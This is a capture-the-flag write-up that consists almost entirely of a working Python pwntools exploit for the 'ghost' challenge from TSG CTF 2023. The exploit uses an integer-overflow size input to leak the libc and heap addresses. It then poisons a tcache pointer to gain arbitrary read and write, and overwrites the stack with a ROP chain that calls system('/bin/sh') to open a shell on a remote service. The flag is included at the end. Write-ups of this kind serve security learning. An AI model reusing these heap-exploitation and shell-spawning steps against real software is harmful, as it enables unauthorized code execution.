Rating:

#!/usr/bin/env python3
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './ghost'
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'34.146.195.242', 'port':40007})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc.so.6')
env.select()

#==========

binf = ELF(bin_file)

libc = ELF(env.libc) if env.libc else binf.libc
ofs_libc_stdin          = libc.symbols['_IO_2_1_stdin_']
ofs_libc_mainarena      = ofs_libc_stdin + 0x1e0

#==========

def attack(conn, **kwargs):
    g = Ghost(conn)

    for i in range(8):
        g.post(str(i)*0x88)

    g.move_old(18446744073709551616 - 1) # 1

    for i in range(8):
        g.undo()

    addr_libc_mainarena = u64(g.print()[:8]) - 0x60
    libc.address = addr_libc_mainarena - ofs_libc_mainarena
    info('addr_libc_base    = 0x{:012x}'.format(libc.address))
    addr_libc_environ   = libc.symbols['environ']
    addr_libc_str_sh    = next(libc.search(b'/bin/sh'))

    g.post(b'a'*8)
    g.post(b'b'*8)
    g.move_old(18446744073709551616 - 1) # 2
    g.undo()

    addr_heap_base = (u64(g.print()[:8]) << 12) - 0x2000
    info('addr_heap_base    = 0x{:012x}'.format(addr_heap_base))

    g.move_old(1) # 1
    g.undo()
    g.modify(p64((addr_heap_base + 0x3190) ^ ((addr_heap_base+0x2000) >> 12)))

    g.post(b'A'*8)
    g.post(b'B'*0x18)

    def aar(addr, size):
        g.pin(2)
        g.modify(flat(size, addr, size))
        g.pin(0)
        return g.print()

    def aaw(addr, data):
        g.pin(2)
        size = len(data)
        g.modify(flat(size, addr, size))
        g.pin(0)
        g.modify(data)

    addr_stack = u64(aar(addr_libc_environ, 8))
    info('addr_stack    = 0x{:012x}'.format(addr_stack))

    rop = ROP(libc)
    rop.system(addr_libc_str_sh)
    rop.exit(0)

    exploit  = p64(rop.ret.address)*0x21
    exploit += bytes(rop)
    aaw(addr_stack - 0x580, exploit)

class Ghost:
    def __init__(self, conn):
        self.recv           = conn.recv
        self.recvuntil      = conn.recvuntil
        self.recvline       = conn.recvline
        self.unrecv         = conn.unrecv
        self.send           = conn.send
        self.sendline       = conn.sendline
        self.sendafter      = conn.sendafter
        self.sendlineafter  = conn.sendlineafter

    def post(self, content):
        self.sendlineafter(b'> ', b'1')
        self.sendafter(b'tweet > ', content)

    def undo(self):
        self.sendlineafter(b'> ', b'2')

    def pin(self, idx):
        self.sendlineafter(b'> ', b'3')
        self.sendlineafter(b'id > ', str(idx).encode())

    def print(self):
        self.sendlineafter(b'> ', b'4')
        content = self.recvuntil(b'\n> ', drop=True)
        self.unrecv(b'> ')
        return content

    def modify(self, content):
        self.sendlineafter(b'> ', b'5')
        self.sendafter(b'tweet > ', content)

    def move_old(self, size):
        self.sendlineafter(b'> ', b'6')
        self.sendlineafter(b'> ', b'0')
        self.sendlineafter(b'size > ', str(size).encode())

    def move_new(self, size):
        self.sendlineafter(b'> ', b'6')
        self.sendlineafter(b'> ', b'1')
        self.sendlineafter(b'size > ', str(size).encode())

    def exit(self):
        self.sendlineafter(b'> ', b'7')

#==========

def main():
    comn = Communicate(env.mode, **env.target)
    comn.connect()
    comn.run(attack)
    comn.interactive()
    # TSGCTF{Ghost_dwells_within_the_proof}

if __name__=='__main__':
    main()

#==========
Original writeup (https://github.com/shift-crops/CTFWriteups/blob/2023/2023/TSG%20CTF/ghost/exploit_ghost.py).